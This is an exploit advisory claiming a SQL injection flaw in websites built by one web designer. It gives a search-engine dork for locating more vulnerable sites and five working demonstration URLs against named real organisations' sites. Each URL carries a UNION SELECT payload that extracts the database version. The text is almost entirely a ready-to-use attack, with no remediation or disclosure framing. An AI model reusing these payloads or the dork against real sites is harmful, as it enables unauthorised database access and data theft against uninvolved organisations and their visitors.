# Exploit Title: Fr. Evan Gomes SVD Sql Injection Vulnerability # Exploit Author: Behrouz Mansoori # Date: 2021/03/02 # Dork : "Website Maintained by Fr. Evan Gomes SVD" # Tested On: Windows 10 / Firefox ##################################### #poc: serach Dork : "Website Maintained by Fr. Evan Gomes SVD" #demo: https://divyajyothi.org/book_enquiry.php?book_id=-248%27%20union%20select%201,2,3,4,version(),6--+ https://divyavanilive.xyz/playlist_view.php?playlist_id=-3%27%20union%20select%201,version(),3,4,5,6,7--+ https://www.iicmumbai.in/events.php?event_id=-1%27%20union%20select%201,version(),3,4,5,6,7,8--+ https://www.stannchurchnala.com/events.php?eventmonth=12&eventyear=-2020%27%20union%20select%201,version(),3,4,5,6,7--+ https://arnoldsquiz.in/section.php?page_id=-22%27%20union%20select%201,2,3,4,5,version(),7,8,9,10--+&txnid=99a06f87d82f531d202b5494b4a552d3cb22ffd7 ##################################### Email : mr.mansoori@yahoo.com instagram : behrouz_mansoori #####################################